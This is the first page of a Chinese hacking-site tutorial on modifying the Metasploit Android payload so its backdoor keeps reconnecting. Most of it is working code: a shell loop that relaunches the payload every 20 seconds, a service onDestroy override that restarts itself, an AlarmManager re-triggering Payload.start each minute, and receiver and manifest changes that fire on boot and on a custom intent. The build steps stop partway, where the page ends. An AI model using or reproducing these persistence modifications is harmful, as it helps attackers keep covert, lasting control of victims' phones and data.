欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

修改Metasploit安卓Payload源码以实现持久化访问

来源:本站整理 作者:xiaohuanshu 时间:2017-07-27 TAG: 我要投稿

Metasploit-Payload是广泛使用的安卓后门之一,然而无论是直接使用msfvenom生成的apk文件,还是通过其他手段将payload注入到已有apk中,其连接稳定性都非常差,基本在APP启动的一刹那可以建立连接,如果网络不稳定,中断后不会再次连接。本文将通过直接修改安卓payload源码已实现持久化访问。
分析
Metasploit安卓payload所建立的sessions连接非常不稳定,国内外高人想出了很多解决方案,目前最普遍的方案是在连接建立时,在目标机器上执行以下脚本:
#!/bin/bash
while true
do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
sleep 20
done
但是这种方案有个前提就是需要连接成功的建立,否则脚本根本无法执行,而且笔者在测试这段脚本在有些情况下会有权限错误,所以并不是最好的解决方案。随着笔者对Metasploit安卓payload更深入的研究,发现Payload源码是可以修改的,而且非常容易。Metasploit安卓payload的源码托管在https://github.com/rapid7/metasploit-payloads/ 中的java目录下。通过分析源码发现,Payload代码主要通过注册的安卓服务com.metasploit.stage.MainService执行,其相关代码如下:
public class MainService extends Service {
    public static void startService(Context context) {
        context.startService(new Intent(context, MainService.class));
    }
    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }
    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        Payload.start(this);
        return START_STICKY;
    }
}
服务启动时会执行Payload.start(this);这里才会执行Payload的关键代码。那么其实想要实现Payload的持久化访问,就是一个在安卓开发中非常常见的一个话题,如何让Service长久的运行,并且要让Payload.start()不断地执行。经过一番调查,笔者最终选择添加以下功能:
在Service销毁时自动重启
添加AlarmManager使Service定时执行
源码修改
要想让Service销毁时自动重启,我们可以重写Service类中的onDestroy方法,定位到文件androidpayload/app/src/com/metasploit/stage/MainService.java,在MainService类中添加以下代码:
 @Override
 public void onDestroy() {
     Intent localIntent = new Intent();     
     localIntent.setClass(this, MainService.class);
     this.startService(localIntent);
 }
经过笔者实测,有了这段代码,当在手机上关闭App时,Payload连接会断开并重新建立。然而这种方式还是不完美,Payload断开服务并不会结束,不会调用onDestroy方法,服务也不会重新执行,所以我们通过添加AlarmManager使Service定时执行。还是在MainService类中,我们修改onStartCommand方法:
 @Override
 public int onStartCommand(Intent intent, int flags, int startId) {
     Payload.start(this);
     AlarmManager manager = (AlarmManager) getSystemService(ALARM_SERVICE);
     int restarttime = 60 * 1000; // one minute
     long triggerAtTime = SystemClock.elapsedRealtime() + restarttime;
     Intent i = new Intent("METASPLOIT");
     PendingIntent pi = PendingIntent.getBroadcast(this, 0, i, 0);
     manager.set(AlarmManager.ELAPSED_REALTIME_WAKEUP, triggerAtTime, pi);
     return START_STICKY;
     }
其中restarttime为重启时间,可以根据需要修改,为了测试这里将时间设为1分钟。AlarmManager需要一个Receiver,Metasploit已经提供了一个MainBroadcastReceiver类,但是只接收ACTION_BOOT_COMPLETED,所以我们修改文件androidpayload/app/src/com/metasploit/stage/MainBroadcastReceiver.java,直接将判断代码删除:
 @Override
 public void onReceive(Context context, Intent intent) {
      MainService.startService(context);
 }
同时在androidpayload/app/src/main/AndroidManifest.xml中修改Receiver的相关设置:
receiver
    android:name=".MainBroadcastReceiver"
    android:label="MainBroadcastReceiver">
    intent-filter>
        action android:name="android.intent.action.BOOT_COMPLETED" />
        action android:name="METASPLOIT" />
    intent-filter>
receiver>
编译、部署
笔者在编译过程中碰到了好多坑,这里就不赘述碰壁的过程,直接将最后成功的步骤分享在这里。
1. 根据自身的环境安装Maven(3.0以上版本),Android-SDK,Android-NDK。
2.下载API版本为10和19的安卓SDK。

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载